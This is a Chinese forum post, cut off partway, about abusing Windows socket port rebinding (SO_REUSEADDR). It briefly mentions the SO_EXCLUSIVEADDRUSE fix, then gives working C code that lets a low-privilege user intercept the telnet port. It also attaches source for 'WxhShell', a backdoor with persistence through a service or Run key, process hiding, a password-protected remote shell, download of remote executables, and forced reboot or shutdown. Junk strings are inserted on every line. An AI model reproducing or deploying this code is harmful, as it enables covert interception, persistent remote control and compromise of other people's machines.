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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zM\IKo_"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $>(9~Yh0  
l\Cu1r-z  
  saddr.sin_family = AF_INET; /khnl9~+  
>*{:l,LH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |yU3Kt  
qkiJ HT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k_BSY=$e*D  
EqoASu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g@}6N.]#  
_ Q{T';  
  这意味着什么?意味着可以进行如下的攻击: W1;=J^<&1  
C|9[Al  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =!YP$hfY  
i<bxc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5U3qr*/;m  
J+0/ :00(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )FV6,  
Z$1.^H.Db  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )ph30B  
C~{xL>I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7^&lbzVbm(  
R~!\ -6%_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 / Z1Wy-Z  
7x%S](m%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,}n=Z  
48:liR  
  #include \+G.]|"Y  
  #include K_Z+]]$#  
  #include Z~:/#?/  
  #include    @|E;}:?u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Lp!0H `L  
  int main() R !Fx)xj  
  { Kyu@>9Ok  
  WORD wVersionRequested; An/>0 5|  
  DWORD ret; 9}.,2JE  
  WSADATA wsaData; U{HyxZ|q<  
  BOOL val; WI0QLR'  
  SOCKADDR_IN saddr; *&h6*zP?  
  SOCKADDR_IN scaddr; nrI"k2oA@  
  int err; $]nVr(OZ_  
  SOCKET s; avmcGyL  
  SOCKET sc; kHGeCJe\{  
  int caddsize; O(WEgz  
  HANDLE mt; Tw}@+-  
  DWORD tid;   j/~VP2R`  
  wVersionRequested = MAKEWORD( 2, 2 ); D 8gQR Q  
  err = WSAStartup( wVersionRequested, &wsaData ); ?U}sQ;c$  
  if ( err != 0 ) { vwm|I7/w  
  printf("error!WSAStartup failed!\n"); @>+^W&  
  return -1; .zQ4/  
  } YfV"_G.ad|  
  saddr.sin_family = AF_INET; =jsx (3V   
   sE^ns\&QP=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =.VepX|?D  
Th.3j's  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (_s;aK  
  saddr.sin_port = htons(23); B,r5kQI4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Q,(u   
  { rf)PAdj|~  
  printf("error!socket failed!\n"); BN_!Y)F l  
  return -1; &qNP?>C!=  
  } G~JC gi  
  val = TRUE; 8y-e+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jkZ_c!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,:c :6Y^  
  { gkSGRshf  
  printf("error!setsockopt failed!\n"); -6AOK<kfI  
  return -1; 9cl{hdP{  
  } Z@<q/2).|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; an-\k*w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [t {vYo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O)Xd3w'  
d]^\w'w$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Lr K9F^c  
  { "1_{c *ck  
  ret=GetLastError(); yW%&_s0  
  printf("error!bind failed!\n"); BT&rp%NO6l  
  return -1; czXI?]gg,  
  } Ngn\nkf  
  listen(s,2); ;Gjv9:hUn  
  while(1) #Y/97_2 xa  
  { 2qt=jz\s  
  caddsize = sizeof(scaddr); >&*6Fqd  
  //接受连接请求 0Ei\VVK>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +I^+k"  
  if(sc!=INVALID_SOCKET) c ,Qw;  
  { tVC@6Z$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }K#iCby4  
  if(mt==NULL) Vww@eK%5Q  
  { e@='Q H  
  printf("Thread Creat Failed!\n"); Z}]:x `fXd  
  break; THrc H  
  } \a{Aa  
  } jXc5fXO N  
  CloseHandle(mt); c2tEz&=G  
  } zyIza@V(  
  closesocket(s); k/$Ja;  
  WSACleanup(); SS >:Sw  
  return 0; oA(. vr  
  }   ]s1TJw [B  
  DWORD WINAPI ClientThread(LPVOID lpParam) :7HVBH  
  { ~Da >{zHt  
  SOCKET ss = (SOCKET)lpParam; =YS!soO  
  SOCKET sc; ]hCWe0F  
  unsigned char buf[4096]; 9nP*N`  
  SOCKADDR_IN saddr; D<+ bzC  
  long num; E#yCcC!wMY  
  DWORD val; sV9{4T~#|  
  DWORD ret; g @c=Bt$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jEC'l]l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TKj/6Jz|  
  saddr.sin_family = AF_INET; e_fg s>o`(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); },?-$eyX  
  saddr.sin_port = htons(23); 7H8GkuO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O^QR;<t'  
  { P^'>dOI0w  
  printf("error!socket failed!\n"); \#h})`  
  return -1; `D&#U'wB   
  } Bbn832iMUY  
  val = 100; 5^G7pI7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N[|by}@n  
  { }'@tA")-)  
  ret = GetLastError(); *#X+Gngo  
  return -1; 8eg2o$k_,#  
  } F9>(W#aC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 17MN8SfQ  
  { )W_ Y3M,  
  ret = GetLastError(); `R4W4h'I  
  return -1; z/ c'Z#w%  
  } KDNTnA1c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -jcrXskb&N  
  { "6|'& 6&  
  printf("error!socket connect failed!\n"); 7v4-hfN  
  closesocket(sc); Jgi{7J  
  closesocket(ss); DYy@t^sC  
  return -1; `Z;B^Y0  
  } ,d/CU  
  while(1) HQ-N!pf9  
  { ];YglHH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]ly)z[is"]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [4V|UvKz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bi4^ zaCEE  
  num = recv(ss,buf,4096,0); VfJX<e=k  
  if(num>0) J.CZR[XF#  
  send(sc,buf,num,0); zD#+[XI]K  
  else if(num==0) f4@#pnJ3po  
  break; Q!BkS=H30K  
  num = recv(sc,buf,4096,0); Q@3ld6y  
  if(num>0) (AyRs7Dkn  
  send(ss,buf,num,0); hs -}:^S`  
  else if(num==0) X:zyzEhS  
  break; N@%xLJF=N>  
  }  ^qSf  
  closesocket(ss); S%a}ip&  
  closesocket(sc); 9v5.4a}  
  return 0 ; ]9~#;M%1  
  } n]6w)wE (  
gvwCoCbb  
f6/\JVi)-  
========================================================== s525`Q;  
Ed ?Yk* 4  
下边附上一个代码,,WXhSHELL |?pYJkrYO  
NZi'eZ{^`  
========================================================== \a~;8):q=i  
|eVTxeq  
#include "stdafx.h" lN]X2 4t  
.[eSKtbc)  
#include <stdio.h> CM@"lV_  
#include <string.h> 6P/9Vh j'  
#include <windows.h> N|^!"/  
#include <winsock2.h> 5u=U--  
#include <winsvc.h> st1M.}  
#include <urlmon.h> r(/P||`l  
$7k04e@ ]  
#pragma comment (lib, "Ws2_32.lib") QtO[g  
#pragma comment (lib, "urlmon.lib") M\$<g  
}!J/ 9WKgU  
#define MAX_USER   100 // 最大客户端连接数 .,iw2:  
#define BUF_SOCK   200 // sock buffer l*V72!Mv  
#define KEY_BUFF   255 // 输入 buffer (t"YoWA#m  
PHB\)/  
#define REBOOT     0   // 重启 ) Sh;UW  
#define SHUTDOWN   1   // 关机 Qg8eq_m(  
im^I9G  
#define DEF_PORT   5000 // 监听端口 y|2g"J  
"p_[A  
#define REG_LEN     16   // 注册表键长度  :L+zUlsf  
#define SVC_LEN     80   // NT服务名长度 6b1 Uj<  
mhHm#  
// 从dll定义API 7zOvoQ}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dsft=t8s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _ jM6ej<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fSb@7L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u{y5'cJ{  
^,\se9=(  
// wxhshell配置信息 H"Em|LX^  
struct WSCFG { 0^tJX1L  
  int ws_port;         // 监听端口 I?xhak1)lu  
  char ws_passstr[REG_LEN]; // 口令 H6+st`{  
  int ws_autoins;       // 安装标记, 1=yes 0=no BRQ5  
  char ws_regname[REG_LEN]; // 注册表键名 LnACce ?b  
  char ws_svcname[REG_LEN]; // 服务名 BM}a?nnoc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @o-evH;G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~NJLS-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /(}l[jf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kQ:>j.^e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #IciNCIrG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yv|bUZ @  
hc~#l#  
}; +\]S<T*;  
D/!G]hx  
// default Wxhshell configuration :O2v0Kx  
struct WSCFG wscfg={DEF_PORT, )-7(Hv1  
    "xuhuanlingzhe", ?(XX  
    1, UW~tS  
    "Wxhshell", (j\UoKLRt  
    "Wxhshell", TTjjyZ@  
            "WxhShell Service", _M[[o5{  
    "Wrsky Windows CmdShell Service", (>/Dw|,m  
    "Please Input Your Password: ", _KlPbyLU  
  1, )Z`viT  
  "http://www.wrsky.com/wxhshell.exe", ieK'<%dxF  
  "Wxhshell.exe" ]&%X(jWyn  
    }; z@40 g)R2A  
SZ1pf#w!  
// 消息定义模块 Tr+Y@]"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; os0"haOI9h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'G By^hj?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <GU(/S!}  
char *msg_ws_ext="\n\rExit."; [_z2z6  
char *msg_ws_end="\n\rQuit."; S&g -  
char *msg_ws_boot="\n\rReboot..."; B?>#cpW j  
char *msg_ws_poff="\n\rShutdown..."; c[e GpZ]  
char *msg_ws_down="\n\rSave to "; E9NGdp&-Ah  
Nl>b'G96  
char *msg_ws_err="\n\rErr!"; 7B>cmi  
char *msg_ws_ok="\n\rOK!"; 1F%*k &R  
9hi(P*%q   
char ExeFile[MAX_PATH]; {Eb2<;1o{  
int nUser = 0; $2Tty 7  
HANDLE handles[MAX_USER]; G;.u>92r|  
int OsIsNt; ZJ'H y5?  
AF nl t  
SERVICE_STATUS       serviceStatus; "B{xC}Tw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P) 0=@{(  
(:hmp"S  
// 函数声明 jYssz4)tp  
int Install(void); F_ lj>;}a5  
int Uninstall(void); (inwKRH  
int DownloadFile(char *sURL, SOCKET wsh); v6(l#,  
int Boot(int flag); gl4 f9Ff  
void HideProc(void); "MKsSty  
int GetOsVer(void); `rFGSq$9  
int Wxhshell(SOCKET wsl); Pn){xfqDl  
void TalkWithClient(void *cs); t7& GCZ  
int CmdShell(SOCKET sock); _ -FQ78C  
int StartFromService(void); D}C*8s bC}  
int StartWxhshell(LPSTR lpCmdLine); C'#)bX{  
+]2~@=<@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o]k]pNO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2H0q\zZ  
F;l<>|vG  
// 数据结构和表定义 9n2%7dLQ*  
SERVICE_TABLE_ENTRY DispatchTable[] = k{$"-3ed  
{ Z)>a6s$ih<  
{wscfg.ws_svcname, NTServiceMain}, q+=@kXs>+  
{NULL, NULL} # SOj4W  
}; bSKV|z/x  
e(5Px!B  
// 自我安装 ^ C#bW <T  
int Install(void) *fyEw\`a  
{ dEl3?~  
  char svExeFile[MAX_PATH]; )HiTYV)]'  
  HKEY key; E.*OA y  
  strcpy(svExeFile,ExeFile); GeR -k9  
s.Ic3ITd,  
// 如果是win9x系统,修改注册表设为自启动 $XzlW=3y  
if(!OsIsNt) { Qpu2RfP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lr]Hvd   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jywz27j  
  RegCloseKey(key); &dMSX}t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z#t.wWSq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E<[ bgL  
  RegCloseKey(key); mLdyt-1  
  return 0; eyp\h8!u_  
    } hndRg Co  
  } bGLp0\0[  
} >.sN?5}y  
else { z:? <aT  
{dH<Un(4Z  
// 如果是NT以上系统,安装为系统服务 Z4tq&^ :c=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <J uJ`t  
if (schSCManager!=0) 3S21DC@Y  
{ xVo)!83+Q  
  SC_HANDLE schService = CreateService "uNxKLDB  
  ( ^qy-el  
  schSCManager, _A~gqOe  
  wscfg.ws_svcname, \r&@3a.>  
  wscfg.ws_svcdisp, nFn`>kQ  
  SERVICE_ALL_ACCESS, ho=]'MS|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {:j!@w3  
  SERVICE_AUTO_START, tA n6pGp  
  SERVICE_ERROR_NORMAL, AMiFsgBj  
  svExeFile, %HS!^j3C%  
  NULL, _\6(4a`,  
  NULL, +VFwYdW,  
  NULL, pIjVJ9+j  
  NULL, ]@g$<&  
  NULL h2*&>Mc  
  ); ?Gu>!7  
  if (schService!=0) -v2q:x'G#  
  { ZOsn,nF  
  CloseServiceHandle(schService); G+p>39P   
  CloseServiceHandle(schSCManager); nWsz0v3'9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PA[Rhoit,  
  strcat(svExeFile,wscfg.ws_svcname); s&hP^tKT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `h]f(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y3&ecEE  
  RegCloseKey(key); F'Vl\qPt  
  return 0;  `a9>4  
    } U Bg_b?k  
  } *a.*Ha  
  CloseServiceHandle(schSCManager); |a\TUzq  
} WHT%m|yn  
} nA j2k  
+Enff0 =+  
return 1; Bbp9Q,4  
} ':dHYvP/UX  
IH}L1i A)  
// 自我卸载 ]jrxrUl  
int Uninstall(void) fL:Fn"Nv  
{ }e@-[RJ!  
  HKEY key; nJ@hzK.  
9D21e(7X  
if(!OsIsNt) { qa?y lR"kA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pdu  
  RegDeleteValue(key,wscfg.ws_regname); ' qVa/GJ  
  RegCloseKey(key); N/=3Bs0y-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1r4/McB  
  RegDeleteValue(key,wscfg.ws_regname); S!cXc/H-R  
  RegCloseKey(key); 1i2O]e!  
  return 0; p$ <qT^]&  
  } a06q-3zw  
} }A ^,y  
} P ie!Su`  
else { 1i2w<VG1  
h!]A(T\J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K@hUif|([  
if (schSCManager!=0) 'kK%sE   
{ *RM'0[1F4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Uc2#so$9  
  if (schService!=0) Z;s-t\C  
  { g&wQ^  
  if(DeleteService(schService)!=0) { v,B\+q/  
  CloseServiceHandle(schService); _Y=yR2O  
  CloseServiceHandle(schSCManager); mAa]E t.  
  return 0; kMXl {  
  } s9>!^MzBK  
  CloseServiceHandle(schService); S#dS5OX  
  } }IL@j A  
  CloseServiceHandle(schSCManager); Awh)@iTL  
} m ws.)  
} g7-K62bb  
vS#]RW&j  
return 1; :P~Owz  
} 7a net  
2D"/k'iA  
// 从指定url下载文件 }fZBP]<I(  
int DownloadFile(char *sURL, SOCKET wsh) AJ u.  
{ A\Gw+l<h,  
  HRESULT hr; RwWQ$Eb_s  
char seps[]= "/"; lla96\R  
char *token; f_8~b0`  
char *file; jEIL(0_H  
char myURL[MAX_PATH]; yW 3h_08  
char myFILE[MAX_PATH]; WTx;,TNG  
L8Q!6oO=<  
strcpy(myURL,sURL); Y`uCDfcQ  
  token=strtok(myURL,seps); (Bz(KyD[  
  while(token!=NULL) ).xWjVC  
  { u!W00;`L  
    file=token; iqeGy&F-  
  token=strtok(NULL,seps); }p~%GA.=98  
  } 5"U7I{\  
Sy~1U  
GetCurrentDirectory(MAX_PATH,myFILE); @T"385>  
strcat(myFILE, "\\"); bv"S(  
strcat(myFILE, file); DP_\%(A  
  send(wsh,myFILE,strlen(myFILE),0); jYv !}  
send(wsh,"...",3,0); 4y]*"(sQ;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tP-c>|cz  
  if(hr==S_OK) =_Rd0,  
return 0; e<K=Q$U.  
else }{J8U2])k  
return 1; _NFJm(X.  
Pif1sL6'  
} +8M{y D9#  
~4 ab\hq  
// 系统电源模块 c/RG1w  
int Boot(int flag) LJD"N#c   
{ f&'md  
  HANDLE hToken; -5K/ cK  
  TOKEN_PRIVILEGES tkp; , utFCZW  
4p.O<f;A8  
  if(OsIsNt) { tN~{Mt$-W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "2J;~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); szHUHW~;J  
    tkp.PrivilegeCount = 1; 4~4Hst#^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S5JnJkNn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K9R[ oB]b  
if(flag==REBOOT) { bu- RU(%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .@'Vz;&mQ  
  return 0; m\yO/9{h1  
} rGs> {-T3  
else { 7+"X ^$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H@zpw1fH+  
  return 0; U!4 ^;  
} /_P`xm+=AC  
  } Tb^9J7]  
  else { <,{v>vlw  
if(flag==REBOOT) { R[QE:#hT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rk|6!kry  
  return 0; 0W)_5f&  
} <Vim\  
else { ]+AI:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $1e@3mzM  
  return 0; H\T h4teE  
} `8I&(k<wLe  
} @OpcS>:R  
0^=S:~G  
return 1; #qWEyb2UZ  
} 0:*$i(2  
lk80)sTZ  
// win9x进程隐藏模块 hY!G>d{J  
void HideProc(void) MEu-lM7v  
{ yAOC<d9 E  
[ LCi,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m<E7cY3mX  
  if ( hKernel != NULL ) kHO\#fF<  
  { Nn$$yUkMX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 08Q:1 '  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -?uwlpm#  
    FreeLibrary(hKernel); 0*q:p`OLw*  
  } eMs`t)rQ  
B?jF1F!9  
return; `fs[C  
} vI-KH:r"{  
MmX42;Pw  
// 获取操作系统版本 q~qig,$Y  
int GetOsVer(void) $jHL8r\e7  
{ SNQ+ XtoO  
  OSVERSIONINFO winfo;  m ]\L1&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  6?6 u  
  GetVersionEx(&winfo); ;(XSw%Y H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SV.*Z|"^N  
  return 1; t5&$ y`  
  else 1g;3MSn~  
  return 0; -I -wdyDr  
} -$7Jc=:>  
/<mc~S7  
// 客户端句柄模块 +"<f22cS1  
int Wxhshell(SOCKET wsl) "-a>Uj")%  
{ yH Cc@`1.  
  SOCKET wsh; e"v Eh  
  struct sockaddr_in client; eu# ||  
  DWORD myID; m'pihFR:f  
'@$?A>.cj  
  while(nUser<MAX_USER) \R~Lf+q  
{ dgO2fI  
  int nSize=sizeof(client); 5+U~ZW0|+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I0Vm^\8  
  if(wsh==INVALID_SOCKET) return 1; :7R\"@V4  
sIy  LW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U}UIbJD*=  
if(handles[nUser]==0) ?f%@8%px  
  closesocket(wsh); |PWLFiT(>  
else Qwb@3{  
  nUser++; IcA]<}0!"v  
  } 6)W9/V-W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o*<(,I%  
{vaq,2_w  
  return 0; Iv{}U\ u  
} 2-$R@ SVy  
V@$B>HeK  
// 关闭 socket 7B'0(70  
void CloseIt(SOCKET wsh) Cnn,$R=/s  
{ 8J)x>6  
closesocket(wsh); O". #B  
nUser--; Z I8p(e  
ExitThread(0); C}M0KDF  
} zNB G;\ W  
giI9-C  
// 客户端请求句柄 &=f%(,+  
void TalkWithClient(void *cs) 2+|[e_  
{ 6ds&n#n  
V482V#BP  
  SOCKET wsh=(SOCKET)cs; jildiT[s  
  char pwd[SVC_LEN]; 5 bgx;z9  
  char cmd[KEY_BUFF]; l!`m}$  
char chr[1]; c0tv!PSw  
int i,j; uz%rWN`{  
A0'Yfuie  
  while (nUser < MAX_USER) { b+{yF  
c^m}ep\F5L  
if(wscfg.ws_passstr) { /ZAEvdO*P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); " I:j a7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l!GAMK 6o  
  //ZeroMemory(pwd,KEY_BUFF); b6#V0bDXHD  
      i=0; C<{k[!N%zm  
  while(i<SVC_LEN) { &ed.%:  
P*\.dAi  
  // 设置超时 ]E,  
  fd_set FdRead; =s;7T!7!  
  struct timeval TimeOut; $[IuEdc/  
  FD_ZERO(&FdRead); OYe @P  
  FD_SET(wsh,&FdRead); .rwZ`MP  
  TimeOut.tv_sec=8; ,UY],;ib  
  TimeOut.tv_usec=0; ^G5 _d"Gr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S]k<Ixvf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ETYw  
O%rjY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); htIV`_<Ro  
  pwd=chr[0]; RFqbwPX  
  if(chr[0]==0xd || chr[0]==0xa) { U#YM)8;Iz  
  pwd=0; n`}vcVL;  
  break; kGCd!$fsk  
  } hMi`n6m  
  i++; ZU/6#pb  
    } e5MX5 T^  
q4Q1Ib-<2  
  // 如果是非法用户,关闭 socket $=t&NM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xqIt?v2c  
} mlX^5h'  
Fz-Bd*uS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -(~CZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -$t#AYKz  
X5=Dc+  
while(1) { {5:y,=Y  
Qb/qUUQO;0  
  ZeroMemory(cmd,KEY_BUFF); YMC*<wXN  
|]^OX$d  
      // 自动支持客户端 telnet标准   F?TAyD*  
  j=0; 5_{C \S`T  
  while(j<KEY_BUFF) { wQDKv'zU1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hj LY\.S  
  cmd[j]=chr[0]; nT9B?P>  
  if(chr[0]==0xa || chr[0]==0xd) { YS%HZFY, "  
  cmd[j]=0; 2B5Z0<  
  break; m%l\EE  
  } /qEoiL###  
  j++; B_nim[72  
    } .X TBy/(0  
~gmj /PQ0  
  // 下载文件 :,% vAI  
  if(strstr(cmd,"http://")) { o|$l+TC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R Mrh@9g  
  if(DownloadFile(cmd,wsh)) Q % )fuI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dFK/  
  else < OCy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fep#Pw1  
  } +,f|Y6L<  
  else { ]^p6db zWe  
d A[I  
    switch(cmd[0]) { hgLwxJu  
  W/L~&.'  
  // 帮助 V'^Hn?1^  
  case '?': { D!+d]A[r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H9F\<5n]-l  
    break; ymiOtA Z  
  } ESft:3xyw  
  // 安装 ]:8:|*w  
  case 'i': { Wyd,7]'z)Z  
    if(Install()) cE$7CSR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0ERA(=w5  
    else tY~EB.%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~sx?aiO  
    break; 3[amCKel  
    } _f8Wa u# "  
  // 卸载 &82Za%  
  case 'r': { uPQ:}zL2  
    if(Uninstall()) ^giseWR(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :>c33X}  
    else >$j?2,Za(V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }vgeQh-G  
    break; uzr(gFd  
    } Q,S~+bD(z  
  // 显示 wxhshell 所在路径 %7 7v'Pz1  
  case 'p': { [< Bk% B5  
    char svExeFile[MAX_PATH]; ]nY,%XE  
    strcpy(svExeFile,"\n\r"); Qo+I98LX[  
      strcat(svExeFile,ExeFile); h(l4\)  
        send(wsh,svExeFile,strlen(svExeFile),0); ^"STM'Zh  
    break; ZF!cXo7d  
    } w9Bbvr6  
  // 重启 FCgr  
  case 'b': { 7j| ^ZuI+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); * G!C 'w\$  
    if(Boot(REBOOT)) XvETys@d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y@Z@ eK3  
    else { xp7 `[.  
    closesocket(wsh); \R\?`8O rz  
    ExitThread(0); p#g o<Y#  
    } Q'>pOtJG*J  
    break; )O*\}6:S  
    } Cdg/wRje  
  // 关机 e:D8.h+ &}  
